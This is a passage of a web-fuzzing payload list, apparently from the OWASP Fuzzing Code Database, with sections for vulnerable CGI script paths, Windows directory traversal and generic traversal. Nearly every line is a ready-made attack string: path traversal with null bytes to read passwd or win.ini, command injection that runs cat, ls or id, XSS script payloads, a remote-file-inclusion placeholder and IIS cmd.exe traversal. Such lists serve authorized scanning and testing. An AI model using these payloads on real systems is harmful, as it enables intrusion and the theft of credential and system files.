LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> 